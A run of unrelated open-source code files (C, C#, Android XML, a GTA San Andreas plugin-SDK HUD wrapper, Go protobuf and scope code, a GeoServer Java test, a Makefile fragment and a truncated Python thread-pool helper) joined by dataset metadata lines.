return 1;
}
int
CharData_CheckXMLChars(CharData *storage, const XML_Char *expected)
{
char buffer[1024];
int len = xmlstrlen(expected);
int count;
assert(storage != NULL);
count = (storage->count < 0) ? 0 : storage->count;
if (len != count) {
sprintf(buffer, "wrong number of data characters: got %d, expected %d",
count, len);
fail(buffer);
return 0;
}
if (memcmp(expected, storage->data, len * sizeof(storage->data[0])) != 0) {
fail("got bad data bytes");
return 0;
}
return 1;
}
| {
"pile_set_name": "Github"
} |
using System;
using System.Collections.Generic;
using NDCPortable.SQLiteBase;
namespace NDCPortable
{
public class TodoItemManager
{
TodoItemRepository repository;
public TodoItemManager (SQLiteConnection conn)
{
repository = new TodoItemRepository(conn, "");
}
public TodoItem GetTask(int id)
{
return repository.GetTask(id);
}
public List<TodoItem> GetTasks ()
{
return new List<TodoItem>(repository.GetTasks());
}
public int SaveTask (TodoItem item)
{
return repository.SaveTask(item);
}
public int DeleteTask(TodoItem item)
{
return repository.DeleteTask(item.ID);
}
}
} | {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<selector
xmlns:android="http://schemas.android.com/apk/res/android">
<item android:state_pressed="true" android:drawable="@drawable/desk_btn_loved_prs" />
<item android:drawable="@drawable/desk_btn_loved" />
</selector> | {
"pile_set_name": "Github"
} |
using System;
namespace GitHub.DistributedTask.Pipelines.ContextData
{
internal static class PipelineContextDataType
{
internal const Int32 String = 0;
internal const Int32 Array = 1;
internal const Int32 Dictionary = 2;
internal const Int32 Boolean = 3;
internal const Int32 Number = 4;
internal const Int32 CaseSensitiveDictionary = 5;
}
}
| {
"pile_set_name": "Github"
} |
/*
Plugin-SDK (Grand Theft Auto San Andreas) source file
Authors: GTA Community. See more here
https://github.com/DK22Pac/plugin-sdk
Do not delete this comment block. Respect others' work!
*/
#include "CHud.h"
char (*CHud::m_BigMessage)[128] = (char (*)[128])0xBAACC0;
bool &CHud::bScriptDontDisplayAreaName = *(bool *)0xBAA3F8;
bool &CHud::bScriptDontDisplayVehicleName = *(bool *)0xBAA3F9;
bool &CHud::bScriptForceDisplayWithCounters = *(bool *)0xBAA3FA;
bool &CHud::bScriptDontDisplayRadar = *(bool *)0xBAA3FB;
int &CHud::m_LastBreathTime = *(int *)0xBAA3FC;
bool &CHud::bDrawClock = *(bool *)0xBAA400;
int &CHud::m_WeaponState = *(int *)0xBAA404;
int &CHud::m_WeaponFadeTimer = *(int *)0xBAA408;
int &CHud::m_WeaponTimer = *(int *)0xBAA40C;
int &CHud::m_LastWeapon = *(int *)0xBAA410;
int &CHud::m_WantedState = *(int *)0xBAA414;
int &CHud::m_WantedFadeTimer = *(int *)0xBAA418;
int &CHud::m_WantedTimer = *(int *)0xBAA41C;
int &CHud::m_LastWanted = *(int *)0xBAA420;
int &CHud::m_DisplayScoreState = *(int *)0xBAA424;
int &CHud::m_DisplayScoreFadeTimer = *(int *)0xBAA428;
int &CHud::m_DisplayScoreTimer = *(int *)0xBAA42C;
int &CHud::m_LastDisplayScore = *(int *)0xBAA430;
int &CHud::m_EnergyLostState = *(int *)0xBAA434;
int &CHud::m_EnergyLostFadeTimer = *(int *)0xBAA438;
int &CHud::m_EnergyLostTimer = *(int *)0xBAA43C;
int &CHud::m_LastTimeEnergyLost = *(int *)0xBAA440;
char *&CHud::m_pVehicleNameToPrint = *(char **)0xBAA444;
int &CHud::m_VehicleState = *(int *)0xBAA448;
int &CHud::m_VehicleFadeTimer = *(int *)0xBAA44C;
int &CHud::m_VehicleNameTimer = *(int *)0xBAA450;
char *&CHud::m_pLastVehicleName = *(char **)0xBAA454;
char *&CHud::m_pVehicleName = *(char **)0xBAA458;
bool &CHud::m_bDraw3dMarkers = *(bool *)0xBAA45C;
bool &CHud::m_Wants_To_Draw_Hud = *(bool *)0xBAA45D;
float &CHud::m_fHelpMessageTime = *(float *)0xBAA460;
float &CHud::m_fHelpMessageBoxWidth = *(float *)0x8D0934;
bool &CHud::m_bHelpMessagePermanent = *(bool *)0xBAA464;
float &CHud::m_fHelpMessageStatUpdateValue = *(float *)0xBAA468;
unsigned short &CHud::m_nHelpMessageMaxStatValue = *(unsigned short *)0xBAA46C;
unsigned short &CHud::m_nHelpMessageStatId = *(unsigned short *)0xBAA470;
bool &CHud::m_bHelpMessageQuick = *(bool *)0xBAA472;
int &CHud::m_nHelpMessageState = *(int *)0xBAA474;
int &CHud::m_nHelpMessageFadeTimer = *(int *)0xBAA478;
int &CHud::m_nHelpMessageTimer = *(int *)0xBAA47C;
char *CHud::m_pHelpMessageToPrint = (char *)0xBAA480;
char *CHud::m_pLastHelpMessage = (char *)0xBAA610;
char *CHud::m_pHelpMessage = (char *)0xBAA7A0;
int &CHud::m_ZoneState = *(int *)0xBAA930;
int &CHud::m_ZoneFadeTimer = *(int *)0xBAA934;
int &CHud::m_ZoneNameTimer = *(int *)0xBAA938;
char *CHud::m_Message = (char *)0xBAB040;
char *&CHud::m_ZoneToPrint = *(char **)0xBAB1D0;
char *&CHud::m_pLastZoneName = *(char **)0xBAB1D4;
char *&CHud::m_pZoneName = *(char **)0xBAB1D8;
short &CHud::m_ItemToFlash = *(short *)0xBAB1DC;
bool &CHud::bDrawingVitalStats = *(bool *)0xBAB1DE;
CSprite2d *CHud::Sprites = (CSprite2d *)0xBAB1FC;
short &TimerMainCounterHideState = *(short *)0xBAA388;
bool &TimerMainCounterWasDisplayed = *(bool *)0xBAA38A;
short *TimerCounterHideState = (short *)0xBAA38C;
short *TimerCounterWasDisplayed = (short *)0xBAA394;
int &OddJob2OffTimer = *(int *)0xBAA398;
float &OddJob2XOffset = *(float *)0xBAA39C;
int &OddJob2Timer = *(int *)0xBAA3A0;
float *BigMessageAlpha = (float *)0xBAA3A4;
float *BigMessageInUse = (float *)0xBAA3C0;
float *BigMessageX = (float *)0xBAA3DC;
char *LastBigMessage = (char *)0xBAABC0;
unsigned short &OddJob2On = *(unsigned short *)0xBAB1E0;
float &PagerXOffset = *(float *)0x8D0938;
// Converted from cdecl void CHud::Draw(void) 0x58FAE0
void CHud::Draw() {
plugin::Call<0x58FAE0>();
}
// Converted from cdecl void CHud::DrawAfterFade(void) 0x58D490
void CHud::DrawAfterFade() {
plugin::Call<0x58D490>();
}
// Converted from cdecl void CHud::DrawAreaName(void) 0x58AA50
void CHud::DrawAreaName() {
plugin::Call<0x58AA50>();
}
// Converted from cdecl void CHud::DrawBustedWastedMessage(void) 0x58CA50
void CHud::DrawBustedWastedMessage() {
plugin::Call<0x58CA50>();
}
// Converted from cdecl void CHud::DrawCrossHairs(void) 0x58E020
void CHud::DrawCrossHairs() {
plugin::Call<0x58E020>();
}
// Converted from cdecl float CHud::DrawFadeState(DRAW_FADE_STATE fadeState,int) 0x58D580
float CHud::DrawFadeState(DRAW_FADE_STATE fadeState, int arg1) {
return plugin::CallAndReturn<float, 0x58D580, DRAW_FADE_STATE, int>(fadeState, arg1);
}
// Converted from cdecl void CHud::DrawHelpText(void) 0x58B6E0
void CHud::DrawHelpText() {
plugin::Call<0x58B6E0>();
}
// Converted from cdecl void CHud::DrawMissionTimers(void) 0x58B180
void CHud::DrawMissionTimers() {
plugin::Call<0x58B180>();
}
// Converted from cdecl void CHud::DrawMissionTitle(void) 0x58D240
void CHud::DrawMissionTitle() {
plugin::Call<0x58D240>();
}
// Converted from cdecl void CHud::DrawOddJobMessage(uchar priority) 0x58CC80
void CHud::DrawOddJobMessage(unsigned char priority) {
plugin::Call<0x58CC80, unsigned char>(priority);
}
// Converted from cdecl void CHud::DrawRadar(void) 0x58A330
void CHud::DrawRadar() {
plugin::Call<0x58A330>();
}
// Converted from cdecl void CHud::DrawScriptText(uchar priority) 0x58C080
void CHud::DrawScriptText(unsigned char priority) {
plugin::Call<0x58C080, unsigned char>(priority);
}
// Converted from cdecl void CHud::DrawSubtitles(void) 0x58C250
void CHud::DrawSubtitles() {
plugin::Call<0x58C250>();
}
// Converted from cdecl void CHud::DrawSuccessFailedMessage(void) 0x58C6A0
void CHud::DrawSuccessFailedMessage() {
plugin::Call<0x58C6A0>();
}
// Converted from cdecl void CHud::DrawVehicleName(void) 0x58AEA0
void CHud::DrawVehicleName() {
plugin::Call<0x58AEA0>();
}
// Converted from cdecl void CHud::DrawVitalStats(void) 0x589650
void CHud::DrawVitalStats() {
plugin::Call<0x589650>();
}
// Converted from cdecl void CHud::GetRidOfAllHudMessages(uchar) 0x588A50
void CHud::GetRidOfAllHudMessages(unsigned char arg0) {
plugin::Call<0x588A50, unsigned char>(arg0);
}
// Converted from cdecl float CHud::GetYPosBasedOnHealth(uchar playerId,float pos,signed char offset) 0x588B60
float CHud::GetYPosBasedOnHealth(unsigned char playerId, float pos, char offset) {
return plugin::CallAndReturn<float, 0x588B60, unsigned char, float, signed>(playerId, pos, offset);
}
bool CHud::HelpMessageDisplayed() {
return plugin::CallAndReturn<bool, 0x588B50>();
}
// Converted from cdecl void CHud::Initialise(void) 0x5BA850
void CHud::Initialise() {
plugin::Call<0x5BA850>();
}
// Converted from cdecl void CHud::ReInitialise(void) 0x588880
void CHud::ReInitialise() {
plugin::Call<0x588880>();
}
// Converted from cdecl void CHud::ResetWastedText(void) 0x589070
void CHud::ResetWastedText() {
plugin::Call<0x589070>();
}
// Converted from cdecl void CHud::SetBigMessage(char *text,ushort style) 0x588FC0
void CHud::SetBigMessage(char* text, unsigned short style) {
plugin::Call<0x588FC0, char*, unsigned short>(text, style);
}
// Converted from cdecl void CHud::SetHelpMessage(char const*text,bool quickMessage,bool permanent,bool addToBrief) 0x588BE0
void CHud::SetHelpMessage(char const* text, bool quickMessage, bool permanent, bool addToBrief) {
plugin::Call<0x588BE0, char const*, bool, bool, bool>(text, quickMessage, permanent, addToBrief);
}
// Converted from cdecl void CHud::SetHelpMessageStatUpdate(uchar state,ushort statId,float diff,float max) 0x588D40
void CHud::SetHelpMessageStatUpdate(unsigned char state, unsigned short statId, float diff, float max) {
plugin::Call<0x588D40, unsigned char, unsigned short, float, float>(state, statId, diff, max);
}
void CHud::SetHelpMessageWithNumber(char const* text, int number, bool quickMessage, bool permanent) {
plugin::Call<0x588E30, char const*, int, bool, bool>(text, number, quickMessage, permanent);
}
// Converted from cdecl void CHud::SetMessage(char *text) 0x588F60
void CHud::SetMessage(char* text) {
plugin::Call<0x588F60, char*>(text);
}
// Converted from cdecl void CHud::SetVehicleName(char *name) 0x588F50
void CHud::SetVehicleName(char* name) {
plugin::Call<0x588F50, char*>(name);
}
// Converted from cdecl void CHud::SetZoneName(char *name,uchar displayState) 0x588BB0
void CHud::SetZoneName(char* name, unsigned char displayState) {
plugin::Call<0x588BB0, char*, unsigned char>(name, displayState);
}
// Converted from cdecl void CHud::Shutdown(void) 0x588850
void CHud::Shutdown() {
plugin::Call<0x588850>();
}
// Converted from cdecl void CHud::DrawAmmo(CPed *ped, int x, int y, float alpha) 0x5893B0
void CHud::DrawAmmo(CPed* ped, int x, int y, float alpha) {
plugin::Call<0x5893B0, CPed*, int, int, float>(ped, x, y, alpha);
}
// Converted from cdecl void CHud::DrawPlayerInfo(void) 0x58EAF0
void CHud::DrawPlayerInfo() {
plugin::Call<0x58EAF0>();
}
// Converted from cdecl void CHud::DrawTripSkip(void) 0x58A160
void CHud::DrawTripSkip() {
plugin::Call<0x58A160>();
}
// Converted from cdecl void CHud::DrawWanted(void) 0x58D9A0
void CHud::DrawWanted() {
plugin::Call<0x58D9A0>();
}
// Converted from cdecl void CHud::DrawWeaponIcon(CPed *ped, int x, int y, float alpha) 0x58D7D0
void CHud::DrawWeaponIcon(CPed* ped, int x, int y, float alpha) {
plugin::Call<0x58D7D0, CPed*, int, int, float>(ped, x, y, alpha);
}
// Converted from cdecl void CHud::RenderArmorBar(int playerId, int x, int y) 0x5890A0
void CHud::RenderArmorBar(int playerId, int x, int y) {
plugin::Call<0x5890A0, int, int, int>(playerId, x, y);
}
// Converted from cdecl void CHud::RenderBreathBar(int playerId, int x, int y) 0x589190
void CHud::RenderBreathBar(int playerId, int x, int y) {
plugin::Call<0x589190, int, int, int>(playerId, x, y);
}
// Converted from cdecl void CHud::RenderHealthBar(int playerId, int x, int y) 0x589270
void CHud::RenderHealthBar(int playerId, int x, int y) {
plugin::Call<0x589270, int, int, int>(playerId, x, y);
} | {
"pile_set_name": "Github"
} |
// Copyright 2018 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package text
import (
"math"
"math/bits"
"strconv"
"strings"
"unicode/utf8"
"google.golang.org/protobuf/internal/detrand"
"google.golang.org/protobuf/internal/errors"
)
// encType represents an encoding type.
type encType uint8
const (
_ encType = (1 << iota) / 2
name
scalar
messageOpen
messageClose
)
// Encoder provides methods to write out textproto constructs and values. The user is
// responsible for producing valid sequences of constructs and values.
type Encoder struct {
encoderState
indent string
newline string // set to "\n" if len(indent) > 0
delims [2]byte
outputASCII bool
}
type encoderState struct {
lastType encType
indents []byte
out []byte
}
// NewEncoder returns an Encoder.
//
// If indent is a non-empty string, it causes every entry in a List or Message
// to be preceded by the indent and trailed by a newline.
//
// If delims is not the zero value, it controls the delimiter characters used
// for messages (e.g., "{}" vs "<>").
//
// If outputASCII is true, strings will be serialized in such a way that
// multi-byte UTF-8 sequences are escaped. This property ensures that the
// overall output is ASCII (as opposed to UTF-8).
func NewEncoder(indent string, delims [2]byte, outputASCII bool) (*Encoder, error) {
e := &Encoder{}
if len(indent) > 0 {
if strings.Trim(indent, " \t") != "" {
return nil, errors.New("indent may only be composed of space and tab characters")
}
e.indent = indent
e.newline = "\n"
}
switch delims {
case [2]byte{0, 0}:
e.delims = [2]byte{'{', '}'}
case [2]byte{'{', '}'}, [2]byte{'<', '>'}:
e.delims = delims
default:
return nil, errors.New("delimiters may only be \"{}\" or \"<>\"")
}
e.outputASCII = outputASCII
return e, nil
}
// Bytes returns the content of the written bytes.
func (e *Encoder) Bytes() []byte {
return e.out
}
// StartMessage writes out the '{' or '<' symbol.
func (e *Encoder) StartMessage() {
e.prepareNext(messageOpen)
e.out = append(e.out, e.delims[0])
}
// EndMessage writes out the '}' or '>' symbol.
func (e *Encoder) EndMessage() {
e.prepareNext(messageClose)
e.out = append(e.out, e.delims[1])
}
// WriteName writes out the field name and the separator ':'.
func (e *Encoder) WriteName(s string) {
e.prepareNext(name)
e.out = append(e.out, s...)
e.out = append(e.out, ':')
}
// WriteBool writes out the given boolean value.
func (e *Encoder) WriteBool(b bool) {
if b {
e.WriteLiteral("true")
} else {
e.WriteLiteral("false")
}
}
// WriteString writes out the given string value.
func (e *Encoder) WriteString(s string) {
e.prepareNext(scalar)
e.out = appendString(e.out, s, e.outputASCII)
}
func appendString(out []byte, in string, outputASCII bool) []byte {
out = append(out, '"')
i := indexNeedEscapeInString(in)
in, out = in[i:], append(out, in[:i]...)
for len(in) > 0 {
switch r, n := utf8.DecodeRuneInString(in); {
case r == utf8.RuneError && n == 1:
// We do not report invalid UTF-8 because strings in the text format
// are used to represent both the proto string and bytes type.
r = rune(in[0])
fallthrough
case r < ' ' || r == '"' || r == '\\':
out = append(out, '\\')
switch r {
case '"', '\\':
out = append(out, byte(r))
case '\n':
out = append(out, 'n')
case '\r':
out = append(out, 'r')
case '\t':
out = append(out, 't')
default:
out = append(out, 'x')
out = append(out, "00"[1+(bits.Len32(uint32(r))-1)/4:]...)
out = strconv.AppendUint(out, uint64(r), 16)
}
in = in[n:]
case outputASCII && r >= utf8.RuneSelf:
out = append(out, '\\')
if r <= math.MaxUint16 {
out = append(out, 'u')
out = append(out, "0000"[1+(bits.Len32(uint32(r))-1)/4:]...)
out = strconv.AppendUint(out, uint64(r), 16)
} else {
out = append(out, 'U')
out = append(out, "00000000"[1+(bits.Len32(uint32(r))-1)/4:]...)
out = strconv.AppendUint(out, uint64(r), 16)
}
in = in[n:]
default:
i := indexNeedEscapeInString(in[n:])
in, out = in[n+i:], append(out, in[:n+i]...)
}
}
out = append(out, '"')
return out
}
// indexNeedEscapeInString returns the index of the character that needs
// escaping. If no characters need escaping, this returns the input length.
func indexNeedEscapeInString(s string) int {
for i := 0; i < len(s); i++ {
if c := s[i]; c < ' ' || c == '"' || c == '\'' || c == '\\' || c >= utf8.RuneSelf {
return i
}
}
return len(s)
}
// WriteFloat writes out the given float value for given bitSize.
func (e *Encoder) WriteFloat(n float64, bitSize int) {
e.prepareNext(scalar)
e.out = appendFloat(e.out, n, bitSize)
}
func appendFloat(out []byte, n float64, bitSize int) []byte {
switch {
case math.IsNaN(n):
return append(out, "nan"...)
case math.IsInf(n, +1):
return append(out, "inf"...)
case math.IsInf(n, -1):
return append(out, "-inf"...)
default:
return strconv.AppendFloat(out, n, 'g', -1, bitSize)
}
}
// WriteInt writes out the given signed integer value.
func (e *Encoder) WriteInt(n int64) {
e.prepareNext(scalar)
e.out = append(e.out, strconv.FormatInt(n, 10)...)
}
// WriteUint writes out the given unsigned integer value.
func (e *Encoder) WriteUint(n uint64) {
e.prepareNext(scalar)
e.out = append(e.out, strconv.FormatUint(n, 10)...)
}
// WriteLiteral writes out the given string as a literal value without quotes.
// This is used for writing enum literal strings.
func (e *Encoder) WriteLiteral(s string) {
e.prepareNext(scalar)
e.out = append(e.out, s...)
}
// prepareNext adds possible space and indentation for the next value based
// on last encType and indent option. It also updates e.lastType to next.
func (e *Encoder) prepareNext(next encType) {
defer func() {
e.lastType = next
}()
// Single line.
if len(e.indent) == 0 {
// Add space after each field before the next one.
if e.lastType&(scalar|messageClose) != 0 && next == name {
e.out = append(e.out, ' ')
// Add a random extra space to make output unstable.
if detrand.Bool() {
e.out = append(e.out, ' ')
}
}
return
}
// Multi-line.
switch {
case e.lastType == name:
e.out = append(e.out, ' ')
// Add a random extra space after name: to make output unstable.
if detrand.Bool() {
e.out = append(e.out, ' ')
}
case e.lastType == messageOpen && next != messageClose:
e.indents = append(e.indents, e.indent...)
e.out = append(e.out, '\n')
e.out = append(e.out, e.indents...)
case e.lastType&(scalar|messageClose) != 0:
if next == messageClose {
e.indents = e.indents[:len(e.indents)-len(e.indent)]
}
e.out = append(e.out, '\n')
e.out = append(e.out, e.indents...)
}
}
// Snapshot returns the current snapshot for use in Reset.
func (e *Encoder) Snapshot() encoderState {
return e.encoderState
}
// Reset resets the Encoder to the given encoderState from a Snapshot.
func (e *Encoder) Reset(es encoderState) {
e.encoderState = es
}
| {
"pile_set_name": "Github"
} |
package tachyon
import (
"encoding/json"
"fmt"
)
type Value interface {
Read() interface{}
}
type AnyValue struct {
v interface{}
}
func (a AnyValue) Read() interface{} {
return a.v
}
type AnyMap struct {
m map[interface{}]interface{}
}
func (a AnyMap) Read() interface{} {
return a.m
}
func (a AnyMap) Get(key string) (Value, bool) {
if v, ok := a.m[key]; ok {
return Any(v), true
}
return nil, false
}
type StrMap struct {
m map[string]interface{}
}
func (a StrMap) Get(key string) (Value, bool) {
if v, ok := a.m[key]; ok {
return Any(v), true
}
return nil, false
}
func (a StrMap) Read() interface{} {
return a.m
}
func (a AnyValue) MarshalJSON() ([]byte, error) {
return json.Marshal(a.v)
}
func (a AnyMap) MarshalJSON() ([]byte, error) {
return json.Marshal(a.m)
}
func (a StrMap) MarshalJSON() ([]byte, error) {
return json.Marshal(a.m)
}
func Any(v interface{}) Value {
switch sv := v.(type) {
case AnyValue:
return sv
case map[interface{}]interface{}:
return AnyMap{sv}
case map[string]interface{}:
return StrMap{sv}
default:
return AnyValue{v}
}
}
func (a AnyValue) GetYAML() (string, interface{}) {
return "", a.v
}
func (a AnyValue) SetYAML(tag string, v interface{}) bool {
a.v = v
return true
}
type Map interface {
Get(key string) (Value, bool)
}
type Scope interface {
Get(key string) (Value, bool)
Set(key string, val interface{})
}
type ScopeGetter interface {
Get(key string) (Value, bool)
}
func SV(v interface{}, ok bool) interface{} {
if !ok {
return nil
}
return v
}
type NestedScope struct {
Scope Scope
Vars Vars
}
func NewNestedScope(parent Scope) *NestedScope {
return &NestedScope{parent, make(Vars)}
}
func SpliceOverrides(cur Scope, override *NestedScope) *NestedScope {
ns := NewNestedScope(cur)
for k, v := range override.Vars {
ns.Set(k, v)
}
return ns
}
func (n *NestedScope) Get(key string) (v Value, ok bool) {
v, ok = n.Vars[key]
if !ok && n.Scope != nil {
v, ok = n.Scope.Get(key)
}
return
}
func (n *NestedScope) Set(key string, v interface{}) {
n.Vars[key] = Any(v)
}
func (n *NestedScope) Empty() bool {
return len(n.Vars) == 0
}
func (n *NestedScope) Flatten() Scope {
if len(n.Vars) == 0 && n.Scope != nil {
return n.Scope
}
return n
}
func (n *NestedScope) addMapVars(mv map[interface{}]interface{}) error {
for k, v := range mv {
if sk, ok := k.(string); ok {
if sv, ok := v.(string); ok {
var err error
v, err = ExpandVars(n, sv)
if err != nil {
return err
}
}
n.Set(sk, v)
}
}
return nil
}
func (n *NestedScope) addVars(vars interface{}) (err error) {
switch mv := vars.(type) {
case map[interface{}]interface{}:
err = n.addMapVars(mv)
case []interface{}:
for _, i := range mv {
err = n.addVars(i)
if err != nil {
return
}
}
}
return
}
func ImportVarsFile(s Scope, path string) error {
var fv map[string]string
err := yamlFile(path, &fv)
if err != nil {
return err
}
for k, v := range fv {
s.Set(k, inferString(v))
}
return nil
}
func DisplayScope(s Scope) {
if ns, ok := s.(*NestedScope); ok {
DisplayScope(ns.Scope)
for k, v := range ns.Vars {
fmt.Printf("%s: %v\n", k, v)
}
}
}
| {
"pile_set_name": "Github"
} |
/* (c) 2017-2018 Open Source Geospatial Foundation - all rights reserved
* This code is licensed under the GPL 2.0 license, available at the root
* application directory.
*/
package org.geoserver.taskmanager.tasks;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import java.sql.Connection;
import java.sql.DatabaseMetaData;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.geoserver.taskmanager.AbstractTaskManagerTest;
import org.geoserver.taskmanager.beans.TestTaskTypeImpl;
import org.geoserver.taskmanager.data.Batch;
import org.geoserver.taskmanager.data.Configuration;
import org.geoserver.taskmanager.data.Task;
import org.geoserver.taskmanager.data.TaskManagerDao;
import org.geoserver.taskmanager.data.TaskManagerFactory;
import org.geoserver.taskmanager.external.DbSource;
import org.geoserver.taskmanager.schedule.BatchJobService;
import org.geoserver.taskmanager.util.LookupService;
import org.geoserver.taskmanager.util.SqlUtil;
import org.geoserver.taskmanager.util.TaskManagerDataUtil;
import org.geoserver.taskmanager.util.TaskManagerTaskUtil;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.quartz.Scheduler;
import org.quartz.SchedulerException;
import org.quartz.Trigger;
import org.quartz.Trigger.TriggerState;
import org.quartz.TriggerBuilder;
import org.springframework.beans.factory.annotation.Autowired;
/** @author Niels Charlier */
public class CreateComplexViewTaskTest extends AbstractTaskManagerTest {
// configure these constants
private static final String DB_NAME = "testsourcedb";
private static final String TABLE_NAME = "gw_beleid.grondwaterlichamen_new";
private static final String VIEW_NAME = "gw_beleid.vw_grondwaterlichamen";
private static final String DEFINITION =
" select dataengine_id from ${table_name} where gwl like 'BL%'";
private static final int NUMBER_OF_RECORDS = 7;
private static final int NUMBER_OF_COLUMNS = 1;
// attributes
private static final String ATT_DB_NAME = "db";
private static final String ATT_TABLE_NAME = "table_name";
private static final String ATT_VIEW_NAME = "view_name";
private static final String ATT_DEFINITION = "definition";
private static final String ATT_FAIL = "fail";
@Autowired private TaskManagerDao dao;
@Autowired private TaskManagerFactory fac;
@Autowired private TaskManagerDataUtil dataUtil;
@Autowired private TaskManagerTaskUtil taskUtil;
@Autowired private BatchJobService bjService;
@Autowired private LookupService<DbSource> dbSources;
@Autowired private Scheduler scheduler;
private Configuration config;
private Batch batch;
@Before
public void setupBatch() {
config = fac.createConfiguration();
config.setName("my_config");
config.setWorkspace("some_ws");
Task task1 = fac.createTask();
task1.setName("task1");
task1.setType(CreateComplexViewTaskTypeImpl.NAME);
dataUtil.setTaskParameterToAttribute(
task1, CreateComplexViewTaskTypeImpl.PARAM_DB_NAME, ATT_DB_NAME);
dataUtil.setTaskParameterToAttribute(
task1, CreateComplexViewTaskTypeImpl.PARAM_VIEW_NAME, ATT_VIEW_NAME);
dataUtil.setTaskParameterToAttribute(
task1, CreateComplexViewTaskTypeImpl.PARAM_DEFINITION, ATT_DEFINITION);
dataUtil.addTaskToConfiguration(config, task1);
config = dao.save(config);
task1 = config.getTasks().get("task1");
batch = fac.createBatch();
batch.setName("my_batch");
dataUtil.addBatchElement(batch, task1);
batch = bjService.saveAndSchedule(batch);
config = dao.init(config);
task1 = config.getTasks().get("task1");
}
@After
public void clearDataFromDatabase() {
dao.delete(batch);
dao.delete(config);
}
@Test
public void testComplexView() throws SchedulerException, SQLException {
dataUtil.setConfigurationAttribute(config, ATT_DB_NAME, DB_NAME);
dataUtil.setConfigurationAttribute(config, ATT_TABLE_NAME, TABLE_NAME);
dataUtil.setConfigurationAttribute(config, ATT_VIEW_NAME, VIEW_NAME);
dataUtil.setConfigurationAttribute(config, ATT_DEFINITION, DEFINITION);
config = dao.save(config);
Trigger trigger =
TriggerBuilder.newTrigger().forJob(batch.getId().toString()).startNow().build();
scheduler.scheduleJob(trigger);
while (scheduler.getTriggerState(trigger.getKey()) != TriggerState.NONE) {}
assertFalse(viewExists(SqlUtil.schema(VIEW_NAME), "_temp%"));
assertTrue(viewExists(SqlUtil.schema(VIEW_NAME), SqlUtil.notQualified(VIEW_NAME)));
assertEquals(NUMBER_OF_RECORDS, getNumberOfRecords(VIEW_NAME));
assertEquals(NUMBER_OF_COLUMNS, getNumberOfColumns(VIEW_NAME));
assertTrue(taskUtil.cleanup(config));
assertFalse(viewExists(SqlUtil.schema(VIEW_NAME), SqlUtil.notQualified(VIEW_NAME)));
}
@Test
public void testRollback() throws SchedulerException, SQLException {
Task task2 = fac.createTask();
task2.setName("task2");
task2.setType(TestTaskTypeImpl.NAME);
dataUtil.setTaskParameterToAttribute(task2, TestTaskTypeImpl.PARAM_FAIL, ATT_FAIL);
dataUtil.addTaskToConfiguration(config, task2);
dataUtil.setConfigurationAttribute(config, ATT_DB_NAME, DB_NAME);
dataUtil.setConfigurationAttribute(config, ATT_TABLE_NAME, TABLE_NAME);
dataUtil.setConfigurationAttribute(config, ATT_VIEW_NAME, VIEW_NAME);
dataUtil.setConfigurationAttribute(config, ATT_DEFINITION, DEFINITION);
dataUtil.setConfigurationAttribute(config, ATT_FAIL, Boolean.TRUE.toString());
config = dao.save(config);
task2 = config.getTasks().get("task2");
dataUtil.addBatchElement(batch, task2);
batch = bjService.saveAndSchedule(batch);
Trigger trigger =
TriggerBuilder.newTrigger().forJob(batch.getId().toString()).startNow().build();
scheduler.scheduleJob(trigger);
while (scheduler.getTriggerState(trigger.getKey()) != TriggerState.NONE) {}
assertFalse(viewExists(SqlUtil.schema(VIEW_NAME), SqlUtil.notQualified(VIEW_NAME)));
assertFalse(viewExists(SqlUtil.schema(VIEW_NAME), "_temp%"));
}
private int getNumberOfRecords(String tableName) throws SQLException {
DbSource ds = dbSources.get(DB_NAME);
try (Connection conn = ds.getDataSource().getConnection()) {
try (Statement stmt = conn.createStatement()) {
try (ResultSet rs = stmt.executeQuery("SELECT COUNT(*) FROM " + tableName)) {
rs.next();
return rs.getInt(1);
}
}
}
}
private int getNumberOfColumns(String tableName) throws SQLException {
DbSource ds = dbSources.get(DB_NAME);
try (Connection conn = ds.getDataSource().getConnection()) {
try (Statement stmt = conn.createStatement()) {
try (ResultSet rs = stmt.executeQuery("SELECT * FROM " + tableName)) {
return rs.getMetaData().getColumnCount();
}
}
}
}
private boolean viewExists(String schema, String pattern) throws SQLException {
DbSource ds = dbSources.get(DB_NAME);
try (Connection conn = ds.getDataSource().getConnection()) {
DatabaseMetaData md = conn.getMetaData();
if (md.storesUpperCaseIdentifiers()) {
schema = schema.toUpperCase();
pattern = pattern.toUpperCase();
}
ResultSet rs = md.getTables(null, schema, pattern, new String[] {"VIEW"});
return (rs.next());
}
}
}
| {
"pile_set_name": "Github"
} |
########
# Host #
########
MANALA_HOST ?= local
# Usage:
# target: .fail_if_host_not(local)
# # Do something on local host...
.fail_if_host_not(%):
$(call fail_if_host_not,$(*))
define fail_if_host_not
$(call if_eq,$(1),$(MANALA_HOST),,$(call message_error,Must be run on \"$(1)\" host); exit 1)
endef
# Usage:
# $(call if_host,local,Yes,No) = Yes
define if_host
$(call if_eq,$(1),$(MANALA_HOST),$(2),$(3))
endef
.host_switch(%):
$(call host_switch,$(*))
# Usage:
# $(call host_switch,target) => make target@[host]
define host_switch
$(MAKE) $(1)@$(MANALA_HOST)
endef
| {
"pile_set_name": "Github"
} |
# Copyright 2017 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS-IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""A thread pool for running a set of functions synchronously in parallel.
This is mainly intended for use where the functions have a barrier and none will
return until all have been called.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import functools
from concurrent import futures
class RunParallel(object):
"""Run all funcs in parallel."""
def __init__(self, timeout=None):
self._timeout = timeout
self._executor = None
self._workers = 0
def run(self, funcs):
"""Run a set of functions in parallel, returning their results.
Make sure any function you pass exits with a reasonable timeout. If it
doesn't return within the timeout or the result is ignored due an exception
in a separate thread it will continue to stick around until it finishes,
including blocking process exit.
Args:
funcs: An iterable of functions or iterable of args to functools.partial.
Returns:
A list of return values with the values matching the order in funcs.
Raises:
Propagates the first exception encountered in one of the functions.
"""
